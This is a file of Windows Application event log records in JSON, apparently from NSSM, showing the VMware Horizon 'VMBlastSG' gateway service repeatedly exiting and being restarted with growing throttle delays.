{"@timestamp":1646661390883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152188","0"]}}},"module":"Application","provider":"nssm","sequence":155981}}
{"@timestamp":1646661390884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152188","152188","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155982}}
{"@timestamp":1646661390906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153324","0"]}}},"module":"Application","provider":"nssm","sequence":155983}}
{"@timestamp":1646661390907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153324","152188","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155984}}
{"@timestamp":1646661390923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155985}}
{"@timestamp":1646661390924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155986}}
{"@timestamp":1646661390925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155987}}
{"@timestamp":1646661391515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155988}}
{"@timestamp":1646661391515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155989}}
{"@timestamp":1646661391516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153560","0"]}}},"module":"Application","provider":"nssm","sequence":155990}}
{"@timestamp":1646661391516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153560","153560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155991}}
{"@timestamp":1646661391532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155992}}
{"@timestamp":1646661391533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155993}}
{"@timestamp":1646661391533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155994}}
{"@timestamp":1646661391534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","2000"]}}},"module":"Application","provider":"nssm","sequence":155995}}
{"@timestamp":1646661393997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155996}}
{"@timestamp":1646661393997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155997}}
{"@timestamp":1646661393999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149376","0"]}}},"module":"Application","provider":"nssm","sequence":155998}}
{"@timestamp":1646661394000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149376","149376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155999}}
{"@timestamp":1646661394016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156000}}
{"@timestamp":1646661394016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156001}}
{"@timestamp":1646661394016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156002}}
{"@timestamp":1646661394017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","4000"]}}},"module":"Application","provider":"nssm","sequence":156003}}
{"@timestamp":1646661398479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156004}}
{"@timestamp":1646661398479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156005}}
{"@timestamp":1646661398480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152248","0"]}}},"module":"Application","provider":"nssm","sequence":156006}}
{"@timestamp":1646661398480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152248","152248","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156007}}
{"@timestamp":1646661398495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156008}}
{"@timestamp":1646661398496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156009}}
{"@timestamp":1646661398496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156010}}
{"@timestamp":1646661398497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","8000"]}}},"module":"Application","provider":"nssm","sequence":156011}}
{"@timestamp":1646661406977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156012}}
{"@timestamp":1646661406977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156013}}
{"@timestamp":1646661406978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153224","0"]}}},"module":"Application","provider":"nssm","sequence":156014}}
{"@timestamp":1646661406978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153224","153224","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156015}}
{"@timestamp":1646661406993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156016}}
{"@timestamp":1646661406994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156017}}
{"@timestamp":1646661406994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156018}}
{"@timestamp":1646661406995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","16000"]}}},"module":"Application","provider":"nssm","sequence":156019}}
{"@timestamp":1646661423449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156020}}
{"@timestamp":1646661423449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156021}}
{"@timestamp":1646661423450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151592","0"]}}},"module":"Application","provider":"nssm","sequence":156022}}
{"@timestamp":1646661423450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151592","151592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156023}}
{"@timestamp":1646661423466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156024}}
{"@timestamp":1646661423467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156025}}
{"@timestamp":1646661423467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156026}}
{"@timestamp":1646661423468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","32000"]}}},"module":"Application","provider":"nssm","sequence":156027}}
{"@timestamp":1646661455930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156028}}
{"@timestamp":1646661455930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156029}}
{"@timestamp":1646661455931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152756","0"]}}},"module":"Application","provider":"nssm","sequence":156030}}
{"@timestamp":1646661455931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152756","152756","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156031}}
{"@timestamp":1646661455947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156032}}
{"@timestamp":1646661455947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156033}}
{"@timestamp":1646661455948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156034}}
{"@timestamp":1646661455948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","64000"]}}},"module":"Application","provider":"nssm","sequence":156035}}
{"@timestamp":1646661520429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156036}}
{"@timestamp":1646661520432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156037}}
{"@timestamp":1646661520432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153008","0"]}}},"module":"Application","provider":"nssm","sequence":156038}}
{"@timestamp":1646661520433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153008","153008","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156039}}
{"@timestamp":1646661520453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156040}}
{"@timestamp":1646661520454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156041}}
{"@timestamp":1646661520454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156042}}
{"@timestamp":1646661520455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156043}}
{"@timestamp":1646661648948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156044}}
{"@timestamp":1646661648949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156045}}
{"@timestamp":1646661648950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153056","0"]}}},"module":"Application","provider":"nssm","sequence":156046}}
{"@timestamp":1646661648951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153056","153056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156047}}
{"@timestamp":1646661648968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156048}}
{"@timestamp":1646661648968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156049}}
{"@timestamp":1646661648969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156050}}
{"@timestamp":1646661648970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156051}}
{"@timestamp":1646661777488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156052}}
{"@timestamp":1646661777488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156053}}
{"@timestamp":1646661777489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152692","0"]}}},"module":"Application","provider":"nssm","sequence":156054}}
{"@timestamp":1646661777489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152692","152692","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156055}}
{"@timestamp":1646661777507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156056}}
{"@timestamp":1646661777507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156057}}
{"@timestamp":1646661777508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156058}}
{"@timestamp":1646661777509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156059}}
{"@timestamp":1646661906000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156060}}
{"@timestamp":1646661906001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156061}}
{"@timestamp":1646661906001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152968","0"]}}},"module":"Application","provider":"nssm","sequence":156062}}
{"@timestamp":1646661906002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152968","152968","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156063}}
{"@timestamp":1646661906018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156064}}
{"@timestamp":1646661906018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156065}}
{"@timestamp":1646661906019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156066}}
{"@timestamp":1646661906020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156067}}
{"@timestamp":1646662034519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156068}}
{"@timestamp":1646662034520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156069}}
{"@timestamp":1646662034521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153060","0"]}}},"module":"Application","provider":"nssm","sequence":156070}}
{"@timestamp":1646662034521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153060","153060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156071}}
{"@timestamp":1646662034537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156072}}
{"@timestamp":1646662034538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156073}}
{"@timestamp":1646662034538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156074}}
{"@timestamp":1646662034539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156075}}
{"@timestamp":1646662163248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156076}}
{"@timestamp":1646662163249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156077}}
{"@timestamp":1646662163250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153380","0"]}}},"module":"Application","provider":"nssm","sequence":156078}}
{"@timestamp":1646662163252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153380","153380","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156079}}
{"@timestamp":1646662163272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156080}}
{"@timestamp":1646662163273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156081}}
{"@timestamp":1646662163274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156082}}
{"@timestamp":1646662163274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156083}}
{"@timestamp":1646662291932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156084}}
{"@timestamp":1646662291932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156085}}
{"@timestamp":1646662291933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152904","0"]}}},"module":"Application","provider":"nssm","sequence":156086}}
